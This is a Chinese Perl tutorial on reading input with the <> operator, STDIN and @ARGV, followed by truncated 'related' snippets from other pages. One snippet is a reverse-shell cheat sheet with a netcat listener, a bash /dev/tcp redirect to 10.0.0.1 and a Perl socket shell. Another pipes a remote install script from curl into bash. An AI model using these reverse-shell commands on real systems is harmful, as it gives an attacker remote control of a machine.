<>操作查看@ARGV来决定使用哪些文件。如果表为空,则使用标准输入流;否则,使用其找到的相应文件。也就是,在启动程序后,使用<>之前,你还有机会修改@ARGV的值。例如,下面程序可以处理3 个指定的文件,无论用户在命令行中输入了什么其它的文件:
@ARGV = qw# larry mor curly #; #强制使用这三个文件
while(<>){
chomp;
print “It was $_ that I saw in some stooge-like file!\n”;
}
#! /usr/bin/perl -w
while(<STDIN>) {
print;
}
=======================
#! /usr/bin/perl -w
while(<>) {
print;
}
角符 <> 和 <STDIN> 最大的不同是 <STDIN> 是由標準輸入取得資料,但:角符 <> 可以由指定的檔案取得資料,而該檔案檔名可以放在命令列中加以指定。如下例:
#! /usr/bin/perl
while (<>) {
print;
}
# 上式存成 readfile.pl,執行法:
./readfile.pl index.html
即可將 index.html 這個檔案讀進來,並且顯示每一列的內容。
若 ./readfile 沒有任何檔案,則改由標準輸入來取得資料,此時,就和 <STDIN> 作用相同了。
==========================================================================
#! /usr/bin/perl -w
print <>; ### 相当于cat
print sort <>; ###相当于sort;
分享到:
相关推荐
perl编程实例,与书配套的实例代码 $name="Suzanne"; # These variables are in package main $num=100;... chomp($name=<STDIN>); print "Welcome $name!\n"; print "\$num is $num.\n";。。。。。。。
有一个小型播放器,可以播放任何文件或stdin格式的原始pcm(对于使用带有lame,flac或ffmpeg等解码器的管道很有用) 播放器只是如何使用该库的示例,但它有一些有趣的选项: usage: ./build/raop_play <options> ...
-search <pattern> get the start offset by the pattern: e.g. PK\x03\x04 -soff <offset> fix the match offset after searching (Default: 0) -off <offset> convert the input file from the offset (Default...
对每个主题都使用了范例说明,从Perl变量、正则表达式,到编写报表、CGI脚本和网络应用,并对范例程序进行了解释。读者可以很容易地通过这些范例掌握Perl语言的语法。附录含有完整的函数和定义、命令行开关、特殊...
Perl2Py:我写了一对简短的脚本,这些脚本使用'subprocess'从Python内部调用perl脚本。 接受可选的输入参数,然后通过管道传输STDIN和STDOUT来运行perl脚本。 数据从perl转换为JSON,然后从JSON转换为python
本书的诸位作者自1991年起就开始在stonehenge consulting从事perl教学工作,多年的课堂教学实践和积累下来的点滴经验,形成了本书特有的教学节奏,以及务实的知识点取舍。随文而至的习题,可以让你及时巩固各种概念...
使用perl连接mysql,这个网上有很多案例了,一般大家都是DBI下的DBD::MySQL这个模块进行.这里做一个mask弄一个TIPS: Perl DBI MySQL的字符集为UTF8 Perl DBI 特殊字符写入时报错 Perl DBI 连接自动重连或是...
只要您可以编写一个读取STDIN并写入STDOUT的可执行程序,就可以构建WebSocket服务器。 用Python,Ruby,Perl,Bash,.NET,C,Go,PHP,Java,Clojure,Scala,Groovy,Expect,Awk,VBScript,Haskell,Lua,R等来...
Checking a remote server for identd<rojy bug> 13-6. pidof 帮助杀掉一个进程 13-7. 检查一个CD 镜像 13-8. 在一个文件中创建文件系统 13-9. 添加一个新的硬盘驱动器 13-10. 使用umask 来将输出文件隐藏起来 13-...
姓名 App :: perlimports-使隐式导入显式 版本 版本0.000001 概要 到位更新文件。 (确保您可以根据需要还原文件。) perlimports --filename test-... :vnoremap <silent> im :!perlimports --read-stdin --filena
姓名OpenSMTPd :: Filter-在perl中更简单的OpenSMTPd过滤器版本版本v0.0.1概要use OpenSMTPD::Filter;use OpenBSD::Pledge;... # never returns until it hits eof开始在STDIN上处理事件。依赖Perl
rmate-在perl中实现 这是的纯perl实现,是因为并非所有的unix服务器都安装了ruby,但大多数(如果不是全部)都... curl -L https://raw.github.com/davidolrik/rmate-perl/master/install.sh | bash /dev/stdin /usr/lo
fastcgi-wrapper.pl 该包装程序几乎可以执行任何使用STDIN和STDOUT的操作。 最初为Perl脚本编写的,它应该只被用于任何东西,但Perl脚本,例如ELF二进制文件,Python的CGI脚本等。 该脚本的工作方式与mod_cgid相似,...
yq [-v] [removed] [<file>...] yq -h|--help|--version 描述 注意:这个项目现在是 。 此发行版已弃用,不会更新。 该程序采用 YAML 文档流(在 STDIN 或文件参数上),应用过滤器,然后将结果写入 STDOUT。 论据...
$ryu->from(\*STDIN) ->by_line ->filter(qr/\h/) ->count ->get; print "Had $lines line(s) containing whitespace\n"; 描述 为异步编码目的提供数据流处理。 这有点像概念上。 在可能的情况下,它会尝试提供类似...
过滤器::Heredoc 从 STDIN 或输入文件中搜索并提取嵌入在脚本中的“任何”此处的文档。 管道输出到外部程序,如 hunspell 或 aspell。...while ( defined( $line = <ARGV> )) { %state = hd_getstate
只要您可以编写一个读取STDIN并写入STDOUT的可执行程序,就可以构建WebSocket服务器。 用Python,Ruby,Perl,Bash,.NET,C,Go,PHP,Java,Clojure,Scala,Groovy,Expect,Awk,VBScript,Haskell,Lua,R等来...
本机开启监听: nc -lvnp 4444 nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i >& /dev/tcp/10.0.0.1/...if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,>&S);open(STDOUT,>&S);open(STDERR,>&S);ex
这是一组工具,可用于包装普通程序的stdin / stdout使其与松弛交互。 您将需要创建一个包含访问令牌的slack.token文件,该文件可以在Web API页面的底部找到: : 不要签入此文件! 它在.gitignore中进行了注释,...
格式输出:将stdin输出为GitHubSlackJira等...格式的代码,列表或引号